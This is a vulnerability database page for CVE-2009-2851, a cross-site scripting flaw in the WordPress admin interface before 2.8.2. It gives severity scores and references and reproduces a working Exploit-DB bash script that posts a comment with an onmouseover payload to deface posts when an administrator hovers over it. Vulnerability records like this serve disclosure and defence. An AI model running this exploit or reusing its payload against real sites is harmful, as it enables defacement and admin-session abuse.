CVE-2009-2851 : Detail

CVE-2009-2851

Cross-site Scripting
A03-Injection
0.41%V3
Network
2009-08-18
18h41 +00:00
2009-08-26
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cross-site scripting (XSS) vulnerability in the administrator interface in WordPress before 2.8.2 allows remote attackers to inject arbitrary web script or HTML via a comment author URL.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9250

Publication date : 2009-07-23 22h00 +00:00
Author : superfreakaz0rz
EDB Verified : Yes

#!/bin/bash echo "wp281.quickprz // iso^kpsbr" SITE=$1 COMMENT=$2 MESSAGE="h4x0riZed by the superfreakaz0rz" if [ "X$SITE" = "X" ]; then echo "$0 <url> [postID]" echo "f.e. $0 www.worstpress.eu" exit fi if [ "X$POSTID" = "X" ]; then POSTID=1 fi echo "[+] building payload" WHERE="title" # can also be 'content' PATH="$SITE/wp-comments-post.php" WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'` EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();" echo "[-] payload is $EVILURL for '$MESSAGE'" EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %` MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %` RNDDATA=`/bin/date +%S%s`; echo "[!] delivering data" /usr/bin/curl -A "Quickprz" -d "author=$MESSAGE&[email protected]&url=$EVILURL&comment=hi+there%5F+this+is+just+some+very+harmless+spam+$RNDDATA&submit=Submit+Comment&comment_post_ID=$POSTID" $PATH echo "[X] all done. now wait for admin to mouse-over that name." # milw0rm.com [2009-07-24]

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version To (including) 2.8.1

References

http://www.openwall.com/lists/oss-security/2009/07/21/1
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2009/dsa-1871
Tags : vendor-advisory, x_refsource_DEBIAN
http://securitytracker.com/id?1022589
Tags : vdb-entry, x_refsource_SECTRACK